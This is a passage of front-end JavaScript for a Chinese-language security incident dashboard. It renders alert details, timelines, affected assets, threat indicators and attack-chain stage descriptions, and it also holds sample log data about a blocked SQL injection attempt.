    "asset_info": {
      "name": "${assetName}",
      "ip": "${assetIP}",
      "type": "${assetType}",
      "owner": "IT部门",
      "location": "办公区A座3楼"
    },
    "alert_info": {
      "sms_content": "${generateLogDetails(event, logId).smsContent}",
      "sms_recipients": "${generateLogDetails(event, logId).smsRecipients}",
      "notification_time": "${new Date(timestamp + 60000).toISOString()}",
      "escalation_level": "${severity === 'critical' ? 3 : severity === 'high' ? 2 : 1}"
    }
  },
  "raw_payload": "${rawPayload}",
  "normalized_event": {
    "event_type": "security_alert",
    "category": "web_attack",
    "subcategory": "sql_injection",
    "attack_vector": "network",
    "affected_asset": "Web服务器-01",
    "attack_source": "external"
  },
  "correlation_id": "CORREL-2023-06-10-00123",
  "reference_ids": [
    "CASE-2023-0142",
    "INCIDENT-0610-004"
  ],
  "status": "new",
  "detection_engine": {
    "version": "2.4.1",
    "ruleset_version": "20230601",
    "detection_method": "pattern_matching"
  }
}`;
}

// 复制原始日志
function copyRawLog(button) {
    const codeBlock = button.closest('.modal-overlay').querySelector('.code-block');
    if (codeBlock) {
        const textToCopy = codeBlock.textContent.trim();
        navigator.clipboard.writeText(textToCopy).then(() => {
            showNotification('日志已复制到剪贴板', 'success');
        }).catch(err => {
            showNotification('复制失败，请手动复制', 'error');
            console.error('复制失败:', err);
        });
    }
}

// 下载日志
function downloadLogs(eventId) {
    // 创建一个Blob对象，包含日志内容
    const event = getEventById(eventId);
    const logContent = JSON.stringify({
        event_id: eventId,
        download_time: new Date().toISOString(),
        event_info: {
            name: event?.name || '未知事件',
            type: event?.attackType || '未知类型',
            severity: event?.severity || 'unknown',
            timestamp: event?.timestamp || Date.now(),
            affected_assets: event?.affectedAssets || []
        },
        logs: generateSampleLogs()
    }, null, 2);
    
    const blob = new Blob([logContent], { type: 'application/json' });
    
    // 创建下载链接
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `event-${eventId}-logs-${Date.now()}.json`;
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    URL.revokeObjectURL(url);
    
    // 显示成功消息
    showNotification('日志下载成功', 'success');
}

// 生成示例日志数据
function generateSampleLogs() {
    return [
        {
            timestamp: "2023-06-10T14:32:15.678Z",
            source: "ids_engine",
            message: "SQL Injection Attempt detected from 198.51.100.78",
            severity: "high"
        },
        {
            timestamp: "2023-06-10T14:32:16.234Z",
            source: "web_server",
            message: "HTTP 401 Unauthorized access to /admin from 198.51.100.78",
            severity: "medium"
        },
        {
            timestamp: "2023-06-10T14:32:18.987Z",
            source: "firewall",
            message: "Blocked connection attempt from 198.51.100.78 to 192.168.1.105:3306",
            severity: "high"
        }
    ];
}

// 加载标签页内容
function loadTabContent(tabId) {
    const contentElement = document.getElementById(tabId);
    if (!contentElement) return;
    
    // 模拟加载效果
    contentElement.classList.remove('opacity-100');
    
    setTimeout(() => {
        // 根据标签ID加载不同内容
        switch(tabId) {
            case 'overview':
                loadOverviewContent(contentElement);
                break;
            case 'technical-analysis':
                loadTechnicalAnalysisContent(contentElement);
                break;
            case 'timeline':
                loadTimelineContent(contentElement);
                break;
            case 'assets':
                loadAssetsContent(contentElement);
                break;
            case 'logs':
                loadLogsContent(contentElement);
                break;
        }
        
        contentElement.classList.add('opacity-100');
    }, 100);
}

// 加载概览内容
function loadOverviewContent(element) {
    // 检查是否有选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        element.innerHTML = '<p class="text-center p-4 text-text-tertiary">请选择一个事件查看详情</p>';
        return;
    }
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    element.innerHTML = `
        <div class="p-4">
            <div id="event-details" class="opacity-100">
                <!-- 事件详情将通过showEventDetails函数动态添加 -->
            </div>
        </div>
    `;
    
    // 显示事件详情
    showEventDetails(selectedEventId);
}

// 加载技术分析内容
function loadTechnicalAnalysisContent(element) {
    // 检查是否有选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        element.innerHTML = '<p class="text-center p-4 text-text-tertiary">请选择一个事件查看详情</p>';
        return;
    }
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    element.innerHTML = `
        <div class="p-4">
            <h2 class="text-xl font-medium mb-4 text-text-primary">技术分析 - ${event.name}</h2>
            
            <div class="info-card p-4 mb-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">威胁情报命中</h3>
                <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                    ${event.intelligence.map(item => `
                        <div class="border border-primary-border rounded-lg p-3">
                            <div class="flex justify-between items-center mb-2">
                                <span class="font-medium">${item.source}</span>
                                <span class="tag tag-${getConfidenceClass(item.confidence)}">${item.confidence}%</span>
                            </div>
                            <p class="text-sm">${item.description}</p>
                            <p class="text-xs text-text-tertiary mt-2">IOC: ${item.ioc}</p>
                        </div>
                    `).join('')}
                </div>
            </div>
            
            <div class="info-card p-4 mb-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">攻击特征分析</h3>
                <div class="overflow-x-auto">
                    <table class="table">
                        <thead>
                            <tr>
                                <th>特征类型</th>
                                <th>特征值</th>
                                <th>匹配度</th>
                            </tr>
                        </thead>
                        <tbody>
                            ${event.signatures.map(sig => `
                                <tr>
                                    <td>${sig.type}</td>
                                    <td class="font-mono text-sm">${sig.value}</td>
                                    <td>${sig.matchScore}%</td>
                                </tr>
                            `).join('')}
                        </tbody>
                    </table>
                </div>
            </div>
            
            <div class="info-card p-4">
                <h3 class="text-lg font-medium mb-3 text-text-primary">恶意代码分析</h3>
                <div class="mb-3">
                    <p class="text-sm text-text-secondary mb-2">代码摘要</p>
                    <div class="code-block text-xs">${event.payload.analysis.split('\n').map(line => `${line}`).join('\n')}</div>
                </div>
                <div class="flex gap-2">
                    <button class="btn btn-secondary text-xs">查看完整分析</button>
                    <button class="btn btn-secondary text-xs">提取IOC</button>
                    <button class="btn btn-primary text-xs">沙箱重放</button>
                </div>
            </div>
        </div>
    `;
}

// 加载时间线内容
function loadTimelineContent(element) {
    // 检查是否有选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        element.innerHTML = '<p class="text-center p-4 text-text-tertiary">请选择一个事件查看详情</p>';
        return;
    }
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    // 生成时间线HTML
    const timelineHtml = event.timeline.map(item => `
        <div class="timeline-item">
            <div class="flex justify-between items-start mb-1">
                <span class="font-medium">${item.title}</span>
                <span class="text-xs text-text-secondary">${new Date(item.timestamp).toLocaleString()}</span>
            </div>
            <p class="text-sm mb-1">${item.description}</p>
            <div class="text-xs text-text-tertiary">
                <span class="tag tag-${item.severity}">${getSeverityText(item.severity)}</span>
                ${item.asset ? ` • 影响资产: ${item.asset}` : ''}
            </div>
        </div>
    `).join('');
    
    element.innerHTML = `
        <div class="p-4">
            <div class="flex justify-between items-center mb-4">
                <h2 class="text-xl font-medium text-text-primary">攻击长镜头 - ${event.name}</h2>
                <div class="flex gap-2">
                    <button class="btn btn-secondary text-xs">小时</button>
                    <button class="btn btn-primary text-xs">天</button>
                    <button class="btn btn-secondary text-xs">周</button>
                </div>
            </div>
            
            <div class="timeline">
                ${timelineHtml}
            </div>
            
            <div class="mt-4">
                <button class="btn btn-secondary text-sm">导出时间线</button>
                <button class="btn btn-secondary text-sm ml-2">关联分析</button>
            </div>
        </div>
    `;
}

// 加载资产内容
function loadAssetsContent(element) {
    // 检查是否有选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        element.innerHTML = '<p class="text-center p-4 text-text-tertiary">请选择一个事件查看详情</p>';
        return;
    }
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    // 生成资产HTML
    const assetsHtml = event.relatedAssets.map(asset => `
        <div class="info-card p-4 card-hover">
            <div class="flex justify-between items-start">
                <div>
                    <h4 class="font-medium">${asset.name}</h4>
                    <p class="text-sm text-text-secondary mt-1">${asset.type} • ${asset.ip}</p>
                </div>
                <span class="tag tag-${asset.severity}">${getSeverityText(asset.severity)}</span>
            </div>
            <div class="mt-3">
                <p class="text-sm">${asset.description}</p>
                <div class="mt-2 text-xs text-text-tertiary">
                    受影响服务: ${asset.services.join(', ')}
                </div>
            </div>
            <div class="mt-3 flex justify-end">
                <button class="btn btn-secondary text-xs">查看详情</button>
            </div>
        </div>
    `).join('');
    
    element.innerHTML = `
        <div class="p-4">
            <h2 class="text-xl font-medium mb-4 text-text-primary">关联资产 - ${event.name}</h2>
            
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                ${assetsHtml}
            </div>
            
            <div class="mt-4 flex justify-center">
                <button class="btn btn-primary">查看资产关系图</button>
            </div>
        </div>
    `;
}

// 加载日志内容
function loadLogsContent(element) {
    // 检查是否有选中的事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        element.innerHTML = '<p class="text-center p-4 text-text-tertiary">请选择一个事件查看详情</p>';
        return;
    }
    
    const event = getEventById(selectedEventId);
    if (!event) return;
    
    // 生成日志HTML
    const logsHtml = event.alerts.map(log => `
        <div class="log-entry">
            <div class="flex justify-between items-start mb-1">
                <div>
                    <span class="font-medium">${log.source}</span>
                    ${log.ruleId ? `<span class="text-xs text-text-secondary ml-2">#${log.ruleId}</span>` : ''}
                </div>
                <div class="flex items-center">
                    <span class="tag tag-${log.severity} mr-2">${getSeverityText(log.severity)}</span>
                    <span class="text-xs text-text-secondary">${new Date(log.timestamp).toLocaleString()}</span>
                </div>
            </div>
            <p class="text-sm mb-2">${log.message}</p>
            <div class="code-block text-xs">${log.rawData}</div>
            <div class="mt-2 flex justify-end">
                <button class="btn btn-secondary text-xs">查看上下文</button>
                <button class="btn btn-secondary text-xs ml-2">关联分析</button>
            </div>
        </div>
    `).join('');
    
    element.innerHTML = `
        <div class="p-4">
            <div class="flex justify-between items-center mb-4">
                <h2 class="text-xl font-medium text-text-primary">告警日志 - ${event.name}</h2>
                <div class="flex gap-2">
                    <div class="search-container">
                        <input type="text" placeholder="搜索日志..." class="search-input text-xs">
                    </div>
                    <button class="btn btn-secondary text-xs">筛选</button>
                </div>
            </div>
            
            <div class="info-card p-4">
                ${logsHtml}
            </div>
            
            <div class="mt-4 flex justify-between">
                <button class="btn btn-secondary">导出日志</button>
                <button class="btn btn-primary">查看原始日志</button>
            </div>
        </div>
    `;
}

// 更新关联信息面板
function updateRelatedInformation(event) {
    if (!event) return;
    
    // 获取相似事件并确保是数组
    const similarEvents = getSimilarEvents(event.id) || [];
    // 确保ioc是数组
    const iocArray = event.ioc || [];
    // 确保受影响资产是数组
    const affectedAssets = event.affectedAssets || event.relatedAssets || [];
    
    // 更新相关事件
    const relatedEventsContainer = document.getElementById('related-events');
    if (relatedEventsContainer) {
        if (similarEvents.length > 0) {
            relatedEventsContainer.innerHTML = similarEvents.map(relatedEvent => {
                const severityClass = relatedEvent.severity === 'high' ? 'bg-red-100 text-red-800' : 
                                     relatedEvent.severity === 'medium' ? 'bg-yellow-100 text-yellow-800' : 'bg-green-100 text-green-800';
                return `
                    <div class="p-2 rounded bg-bg-light hover:bg-primary-accent transition-colors cursor-pointer" onclick="selectEvent('${relatedEvent.id}')">
                        <div class="flex justify-between items-center">
                            <span class="text-xs font-medium truncate">${relatedEvent.name || '未命名事件'}</span>
                            <span class="text-xs px-1.5 py-0.5 rounded-full ${severityClass}">
                                ${relatedEvent.severity === 'high' ? '高危' : relatedEvent.severity === 'medium' ? '中危' : '低危'}
                            </span>
                        </div>
                        <div class="text-xs text-text-tertiary mt-1">
                            ${new Date(relatedEvent.timestamp || Date.now()).toLocaleString('zh-CN', {
                                month: '2-digit',
                                day: '2-digit',
                                hour: '2-digit',
                                minute: '2-digit'
                            })}
                        </div>
                    </div>
                `;
            }).join('');
        } else {
            relatedEventsContainer.innerHTML = '<div class="text-xs text-text-tertiary italic p-2">暂无相关事件</div>';
        }
    }
    
    // 更新受影响资产
    const affectedAssetsContainer = document.getElementById('affected-assets');
    if (affectedAssetsContainer) {
        if (affectedAssets.length > 0) {
            affectedAssetsContainer.innerHTML = affectedAssets.map(asset => {
                const assetIcon = asset.type === 'server' ? 'fa-server' : 
                                asset.type === 'workstation' ? 'fa-desktop' : 
                                asset.type === 'database' ? 'fa-database' : 
                                asset.type === 'application' ? 'fa-code' : 'fa-cube';
                return `
                    <div class="p-2 rounded bg-bg-light hover:bg-primary-accent transition-colors cursor-pointer">
                        <div class="flex items-center">
                            <i class="fa ${assetIcon} text-primary-main mr-2 text-xs"></i>
                            <div class="flex-1">
                                <div class="text-xs font-medium">${asset.name || '未命名资产'}</div>
                                <div class="text-xs text-text-tertiary truncate">${asset.ip || asset.location || asset.type}</div>
                            </div>
                        </div>
                    </div>
                `;
            }).join('');
        } else {
            affectedAssetsContainer.innerHTML = '<div class="text-xs text-text-tertiary italic p-2">暂无受影响资产</div>';
        }
    }
    
    // 更新威胁情报
    const threatIntelContainer = document.getElementById('threat-intel');
    if (threatIntelContainer) {
        if (iocArray.length > 0) {
            threatIntelContainer.innerHTML = iocArray.map(ioc => {
                const iocType = ioc.type === 'ip' ? 'IP地址' : 
                              ioc.type === 'domain' ? '域名' : 
                              ioc.type === 'hash' ? '文件哈希' : '其他';
                const confidence = ioc.confidence || 70;
                const confidenceClass = confidence >= 80 ? 'bg-green-100 text-green-800' : 
                                      confidence >= 50 ? 'bg-yellow-100 text-yellow-800' : 'bg-red-100 text-red-800';
                return `
                    <div class="p-2 rounded bg-bg-light hover:bg-primary-accent transition-colors cursor-pointer">
                        <div class="text-xs font-mono truncate">${ioc.value || '未知值'}</div>
                        <div class="flex justify-between items-center mt-1">
                            <span class="text-xs text-text-tertiary">${iocType}</span>
                            <span class="text-xs px-1.5 py-0.5 rounded-full ${confidenceClass}">
                                ${confidence}%
                            </span>
                        </div>
                    </div>
                `;
            }).join('');
        } else {
            threatIntelContainer.innerHTML = '<div class="text-xs text-text-tertiary italic p-2">暂无威胁情报</div>';
        }
    }
    
    // 确保关联信息面板可见
    const relatedPanel = document.getElementById('related-panel');
    if (relatedPanel) {
        relatedPanel.style.display = 'flex';
    }
    
    // 添加点击反馈动画
    setTimeout(() => {
        document.querySelectorAll('#related-events .cursor-pointer, #affected-assets .cursor-pointer, #threat-intel .cursor-pointer').forEach(item => {
            item.addEventListener('click', function() {
                this.classList.add('bg-blue-50');
                setTimeout(() => {
                    this.classList.remove('bg-blue-50');
                }, 200);
            }, { once: true });
        });
    }, 100);
}

// 切换关联信息面板
function toggleRelatedPanel() {
    const relatedPanel = document.getElementById('related-panel');
    const mainContent = document.querySelector('.main-content');
    
    // 添加过渡效果类
    relatedPanel.classList.add('transition-all', 'duration-300', 'ease-in-out');
    mainContent.classList.add('transition-all', 'duration-300', 'ease-in-out');
    
    // 检测是否为移动设备
    const isMobile = window.innerWidth <= 768;
    const isExpanded = relatedPanel.classList.contains('w-80') || 
                      (isMobile && relatedPanel.classList.contains('fixed'));
    
    if (isExpanded) {
        // 收起面板 - 添加动画效果
        relatedPanel.classList.add('opacity-0');
        
        // 延迟移除宽度类，确保动画流畅
        setTimeout(() => {
            if (isMobile) {
                // 移动端收起 - 移除全屏模式
                relatedPanel.classList.remove('fixed', 'inset-0', 'z-50', 'bg-bg-primary');
                relatedPanel.style.overflow = '';
                
                // 移除背景遮罩
                const overlay = document.getElementById('overlay');
                if (overlay) {
                    overlay.remove();
                }
            } else {
                // 桌面端收起
                relatedPanel.classList.remove('w-80');
            }
            
            // 重置主内容区边距
            mainContent.style.marginRight = '0';
        }, 150);
    } else {
        if (isMobile) {
            // 移动端：全屏显示模式
            relatedPanel.classList.add('fixed', 'inset-0', 'z-50', 'bg-bg-primary');
            relatedPanel.style.overflow = 'auto';
            
            // 添加背景遮罩（带点击关闭功能）
            const overlay = document.createElement('div');
            overlay.id = 'overlay';
            overlay.className = 'fixed inset-0 bg-black bg-opacity-50 z-40';
            document.body.appendChild(overlay);
            
            // 点击遮罩关闭面板（增强移动端交互）
            overlay.addEventListener('click', () => {
                toggleRelatedPanel();
            });
            
            // 添加关闭按钮（移动设备专用）
            let closeButton = document.getElementById('panel-close-btn');
            if (!closeButton) {
                closeButton = document.createElement('button');
                closeButton.id = 'panel-close-btn';
                closeButton.className = 'fixed top-4 right-4 bg-bg-dark text-white rounded-full p-2 z-60 md:hidden';
                closeButton.innerHTML = '×';
                closeButton.style.fontSize = '1.5rem';
                closeButton.style.lineHeight = '1';
                closeButton.addEventListener('click', () => {
                    toggleRelatedPanel();
                });
                document.body.appendChild(closeButton);
            }
        } else {
            // 桌面端：侧边栏显示模式
            relatedPanel.classList.add('w-80');
            
            // 根据屏幕宽度调整侧边栏宽度
            if (window.innerWidth <= 1024) {
                mainContent.style.marginRight = '-280px';
            } else {
                mainContent.style.marginRight = '-320px';
            }
        }
        
        // 淡入效果
        relatedPanel.classList.remove('opacity-0');
        relatedPanel.classList.add('opacity-100');
        
        // 加载并显示关联信息 - 添加延迟以配合动画
        setTimeout(() => {
            const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
            if (selectedEventId) {
                loadRelatedInformation(selectedEventId, relatedPanel);
                
                // 为面板内容添加淡入动画
                const contentElement = relatedPanel.querySelector('.p-4');
                if (contentElement) {
                    // 移除淡入动画
                }
            }
        }, 200);
    }
    
    // 保存面板状态到本地存储，提升用户体验
    try {
        localStorage.setItem('relatedPanelState', !isExpanded ? 'expanded' : 'collapsed');
    } catch (e) {
        console.warn('无法保存面板状态到本地存储');
    }
}

// 加载关联信息
function loadRelatedInformation(eventId, relatedPanel) {
    if (!eventId || !relatedPanel) return;
    
    const event = getEventById(eventId);
    if (!event) return;
    
    // 确保关联面板中有相关内容的容器
    let relatedContent = document.getElementById('related-content');
    if (!relatedContent) {
        // 如果没有相关内容容器，创建一个
        relatedPanel.innerHTML = '<div id="related-content"></div>';
        relatedContent = document.getElementById('related-content');
    }
    
    relatedContent.innerHTML = '';
    
    // 添加加载动画
    const loadingIndicator = document.createElement('div');
    loadingIndicator.className = 'p-6 flex flex-col items-center justify-center';
    loadingIndicator.innerHTML = `
        <div class="loading mb-3"></div>
        <p class="text-sm text-text-secondary">正在加载关联信息...</p>
    `;
    relatedContent.appendChild(loadingIndicator);
    
    // 模拟加载延迟
    setTimeout(() => {
        relatedContent.innerHTML = '';
        
        // 创建关联事件卡片
        const relatedEventsCard = document.createElement('div');
        relatedEventsCard.className = 'info-card p-4';
        relatedEventsCard.innerHTML = `
            <h3 class="text-base font-medium mb-3 flex items-center">
                <span class="mr-2">🔗</span> 相似事件
            </h3>
            <div id="similar-events-list" class="space-y-2">
                ${generateSimilarEventsList(event)}
            </div>
        `;
        relatedContent.appendChild(relatedEventsCard);
        
        // 创建关联资产卡片
        const relatedAssetsCard = document.createElement('div');
        relatedAssetsCard.className = 'info-card p-4';
        relatedAssetsCard.innerHTML = `
            <h3 class="text-base font-medium mb-3 flex items-center">
                <span class="mr-2">🖥️</span> 关联资产
            </h3>
            <div id="related-assets-list" class="space-y-2">
                ${generateRelatedAssetsList(event)}
            </div>
        `;
        relatedContent.appendChild(relatedAssetsCard);
        
        // 创建IOC列表卡片
        const iocCard = document.createElement('div');
        iocCard.className = 'info-card p-4';
        iocCard.innerHTML = `
            <h3 class="text-base font-medium mb-3 flex items-center">
                <span class="mr-2">🔍</span> 威胁指标 (IOC)
            </h3>
            <div id="ioc-list" class="space-y-2">
                ${generateIOCList(event)}
            </div>
        `;
        relatedContent.appendChild(iocCard);
        
        // 创建攻击模式卡片
        const attackPatternCard = document.createElement('div');
        attackPatternCard.className = 'info-card p-4';
        attackPatternCard.innerHTML = `
            <h3 class="text-base font-medium mb-3 flex items-center">
                <span class="mr-2">🎯</span> 攻击模式
            </h3>
            <div id="attack-patterns" class="space-y-3">
                ${generateAttackPatterns(event)}
            </div>
        `;
        relatedContent.appendChild(attackPatternCard);
        
        // 添加事件监听
        attachRelatedEventListeners();
    }, 800);
}

// 获取事件详情
function getEventById(id) {
    const events = getEvents();
    return events.find(event => event.id === id);
}

// 生成相似事件列表
function generateSimilarEventsList(event) {
    const container = document.createElement('div');
    const similarEvents = getSimilarEvents(event.id);
    
    if (!similarEvents || similarEvents.length === 0) {
        container.innerHTML = '<p class="text-sm text-text-tertiary italic">暂无相似事件</p>';
        return container;
    }
    
    const html = similarEvents.map(relatedEvent => {
        return `
            <div class="related-event-item p-2 rounded-md hover:bg-primary-light transition-all cursor-pointer flex items-center justify-between">
                <div class="flex items-center">
                    <span class="tag tag-${relatedEvent.severity}">${getSeverityText(relatedEvent.severity)}</span>
                    <span class="ml-2 text-sm truncate max-w-[200px]">${relatedEvent.name}</span>
                </div>
                <span class="text-xs text-text-tertiary">${new Date(relatedEvent.timestamp).toLocaleString()}</span>
            </div>
        `;
    }).join('');
    
    container.innerHTML = html;
    return container;
}

// 生成关联资产列表
function generateRelatedAssetsList(event) {
    const container = document.createElement('div');
    
    if (!event.relatedAssets || event.relatedAssets.length === 0) {
        container.innerHTML = '<p class="text-sm text-text-tertiary italic">暂无关联资产</p>';
        return container;
    }
    
    const html = event.relatedAssets.map(asset => {
        return `
            <div class="related-asset-item p-2 rounded-md hover:bg-primary-light transition-all cursor-pointer flex items-center justify-between">
                <div>
                    <div class="text-sm font-medium">${asset.name}</div>
                    <div class="text-xs text-text-tertiary geo-marker">${asset.ip}</div>
                </div>
                <span class="status-badge status-${asset.severity}">${getSeverityText(asset.severity)}</span>
            </div>
        `;
    }).join('');
    
    container.innerHTML = html;
    return container;
}

// 生成IOC列表
function generateIOCList(event) {
    const container = document.createElement('div');
    
    if (!event.ioc || event.ioc.length === 0) {
        container.innerHTML = '<p class="text-sm text-text-tertiary italic">暂无威胁指标</p>';
        return container;
    }
    
    const html = event.ioc.map(ioc => {
        // 使用现有的getConfidenceClass函数，确保兼容性
        const confidenceClass = getConfidenceClass(ioc.confidence || 70);
        return `
            <div class="ioc-item p-2 rounded-md bg-bg-light flex items-center justify-between">
                <div>
                    <div class="text-sm font-mono">${ioc.value}</div>
                    <div class="text-xs text-text-tertiary">${ioc.type} · 来源未知</div>
                </div>
                <span class="tag tag-${confidenceClass}">${ioc.confidence || 70}%</span>
            </div>
        `;
    }).join('');
    
    container.innerHTML = html;
    return container;
}

// 生成攻击模式
function generateAttackPatterns(event) {
    const container = document.createElement('div');
    
    // 从事件中提取可能的攻击模式信息
    if (!event.attackStage) {
        container.innerHTML = '<p class="text-sm text-text-tertiary italic">暂无攻击模式信息</p>';
        return container;
    }
    
    const patterns = [{
        name: getStageDescription(event.attackStage).split('，')[0],
        severity: event.severity,
        description: getStageDescription(event.attackStage),
        mitreId: '未知',
        matchScore: 85
    }];
    
    const html = patterns.map(pattern => {
        return `
            <div class="attack-pattern-item p-3 rounded-md bg-bg-light">
                <div class="flex items-center justify-between mb-1">
                    <div class="text-sm font-medium">${pattern.name}</div>
                    <span class="tag tag-${pattern.severity}">${getSeverityText(pattern.severity)}</span>
                </div>
                <div class="text-xs text-text-secondary mb-2">${pattern.description}</div>
                <div class="text-xs text-text-tertiary">
                    <span class="mr-2">MITRE: ${pattern.mitreId}</span>
                    <span>匹配度: ${pattern.matchScore}%</span>
                </div>
            </div>
        `;
    }).join('');
    
    container.innerHTML = html;
    return container;
}

// 附加关联面板事件监听
function attachRelatedEventListeners() {
    // 监听相似事件点击
    document.querySelectorAll('.related-event-item').forEach(item => {
        item.addEventListener('click', function() {
            // 获取事件名称
            const eventName = this.querySelector('span:last-child').previousElementSibling.textContent;
            const events = getEvents();
            const relatedEvent = events.find(e => e.name === eventName.trim());
            if (relatedEvent) {
                selectEvent(relatedEvent.id);
            }
        });
    });
    
    // 监听关联资产点击
    document.querySelectorAll('.related-asset-item').forEach(item => {
        item.addEventListener('click', function() {
            const assetName = this.querySelector('.font-medium').textContent;
            showNotification(`查看资产详情: ${assetName}`);
        });
    });
}

// 更新事件状态
function updateEventStatus() {
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        showNotification('请先选择一个事件', 'error');
        return;
    }
    
    const statusSelect = document.getElementById('status-select');
    const newStatus = statusSelect.value;
    
    // 更新事件状态
    updateEventById(selectedEventId, { status: newStatus });
    
    // 重新渲染事件列表
    renderEventList();
    
    // 重新选择事件
    selectEvent(selectedEventId);
    
    // 显示通知
    showNotification('事件状态已更新', 'success');
}

// 导出报告
function exportReport() {
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (!selectedEventId) {
        showNotification('请先选择一个事件', 'error');
        return;
    }
    
    // 模拟导出
    showNotification('正在生成报告...', 'info');
    
    setTimeout(() => {
        showNotification('报告导出成功', 'success');
    }, 1000);
}

// 刷新数据
function refreshData() {
    // 重新初始化数据
    initializeData();
    
    // 重新渲染事件列表
    renderEventList();
    
    // 重新选择当前事件
    const selectedEventId = document.querySelector('.event-item.selected')?.dataset.id;
    if (selectedEventId) {
        selectEvent(selectedEventId);
    }
    
    // 显示通知
    showNotification('数据已刷新', 'success');
}

// 处理搜索
function handleSearch(event) {
    const searchTerm = event.target.value.toLowerCase();
    const eventItems = document.querySelectorAll('.event-item');
    
    eventItems.forEach(item => {
        const eventName = item.querySelector('h4').textContent.toLowerCase();
        if (eventName.includes(searchTerm)) {
            item.style.display = 'block';
        } else {
            item.style.display = 'none';
        }
    });
}

// 切换高级筛选面板
function toggleAdvancedFilter() {
    const filterPanel = document.getElementById('filter-panel');
    if (filterPanel) {
        filterPanel.classList.toggle('hidden');
    }
}

// 高亮时间线项目
function highlightTimelineItem(eventId) {
    // 实现时间线高亮逻辑
    // 这里留作扩展
}

// 处理响应式调整
function handleResize() {
    const width = window.innerWidth;
    
    // 在小屏幕上自动隐藏关联面板
    const panel = document.getElementById('related-panel');
    const mainContent = document.querySelector('.main-content');
    
    if (width < 768) {
        if (panel.classList.contains('w-80')) {
            panel.classList.remove('w-80');
            mainContent.style.marginRight = '0';
        }
    }
}

// 显示通知
function showNotification(message, type = 'info') {
    // 创建通知元素
    const notification = document.createElement('div');
    notification.className = 'notification';
    
    // 设置通知样式
    if (type === 'error') {
        notification.style.backgroundColor = 'var(--color-critical)';
    } else if (type === 'success') {
        notification.style.backgroundColor = 'var(--color-status-resolved)';
    }
    
    // 设置通知内容
    notification.textContent = message;
    
    // 添加到页面
    document.body.appendChild(notification);
    
    // 显示通知
    setTimeout(() => {
        notification.classList.add('show');
    }, 10);
    
    // 3秒后隐藏通知
    setTimeout(() => {
        notification.classList.remove('show');
        
        // 移除通知元素
        setTimeout(() => {
            document.body.removeChild(notification);
        }, 300);
    }, 3000);
}

// 获取威胁等级文本
function getSeverityText(severity) {
    const severityMap = {
        critical: '危急',
        high: '高危',
        medium: '中危',
        low: '低危',
        info: '信息'
    };
    
    return severityMap[severity] || severity;
}

// 获取状态文本
function getStatusText(status) {
    const statusMap = {
        pending: '待处理',
        analyzing: '分析中',
        resolved: '已处置',
        false: '误报'
    };
    
    return statusMap[status] || status;
}

// 获取攻击链阶段描述
function getStageDescription(stage) {
    const stageDescriptions = {
        recon: '攻击者正在收集有关目标的信息，包括IP地址、开放端口、服务版本等。',
        weaponize: '攻击者正在准备攻击工具，可能是定制的恶意软件或利用已知漏洞的脚本。',
        deliver: '攻击者通过邮件、网页、可移动媒体等方式将恶意代码传递给目标系统。',
        exploit: '攻击者利用目标系统的漏洞执行恶意代码，获取初始访问权限。',
        install: '攻击者在目标系统上安装持久化机制，确保即使系统重启也能保持访问。',
        c2: '恶意程序与命令控制服务器建立连接，接收攻击者指令。',
        action: '攻击者执行最终目标，如数据窃取、破坏系统、勒索等。'
    };
    
    return stageDescriptions[stage] || '攻击阶段信息暂未明确，需要进一步分析。';
}

// 获取情报置信度样式类
function getConfidenceClass(confidence) {
    if (confidence >= 80) return 'critical';
    if (confidence >= 60) return 'high';
    if (confidence >= 40) return 'medium';
    if (confidence >= 20) return 'low';
    return 'info';
}

// 获取相似事件
function getSimilarEvents(eventId) {
    const event = getEventById(eventId);
    if (!event) return [];
    
    // 简单逻辑：返回不同ID但相同类型的事件
    return getEvents().filter(e => 
        e.id !== eventId && 
        (e.type === event.type || 
         e.severity === event.severity || 
         e.attackStage === event.attackStage)
    ).slice(0, 3);
}

// 加载攻击链分析内容
function loadAttackChainContent(eventId) {
    const event = getEventById(eventId);
    const container = document.getElementById('analysis-workspace');
    
    // 检查容器是否存在
    if (!container) {
        console.error('分析工作区容器不存在');
        return;
    }
    
    if (!event) {
        container.innerHTML = '<div class="alert">事件不存在或已被删除</div>';
        return;
    }
    
    // 清空容器
    container.innerHTML = '';
    
    // 创建攻击链分析容器
    const attackChainContainer = document.createElement('div');
    attackChainContainer.className = 'attack-chain-container';
    
    // 创建攻击链标题
    const title = document.createElement('h3');
    title.className = 'text-lg font-medium mb-6';
    title.textContent = '攻击链分析';
    attackChainContainer.appendChild(title);
    
    // 添加攻击链可视化
    const visualizationContainer = document.createElement('div');
    visualizationContainer.className = 'mb-6';
    visualizationContainer.appendChild(generateAttackChainVisualization(event));
    attackChainContainer.appendChild(visualizationContainer);
    
    // 添加操作按钮
    const actionsContainer = document.createElement('div');
    actionsContainer.className = 'flex gap-3 mb-6';
    
    const exportButton = document.createElement('button');
    exportButton.className = 'btn btn-secondary';
    exportButton.textContent = '导出攻击链';
    exportButton.addEventListener('click', () => exportAttackChain(event));
    actionsContainer.appendChild(exportButton);
    
    attackChainContainer.appendChild(actionsContainer);
    
    // 添加攻击链详情
    const detailsContainer = document.createElement('div');
    detailsContainer.className = 'bg-white bg-opacity-90 rounded-lg p-4 border border-gray-200 shadow-sm';
    
    const detailsTitle = document.createElement('h4');
    detailsTitle.className = 'text-md font-medium mb-3';
